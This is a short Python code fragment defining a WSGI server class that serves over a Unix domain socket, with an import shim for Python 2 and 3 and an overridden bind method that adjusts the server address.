from wsgiref.simple_server import WSGIServer, WSGIRequestHandler
if PY3:
from socketserver import UnixStreamServer
else:
from SocketServer import UnixStreamServer
class WSGIUnixServer(UnixStreamServer, WSGIServer):
def server_bind(self):
# Everything expects a (host, port) pair, except the unix bind function.
save = self.server_address
self.server_address = save[0]
UnixStreamServer.server_bind(self)
self.server_address = save
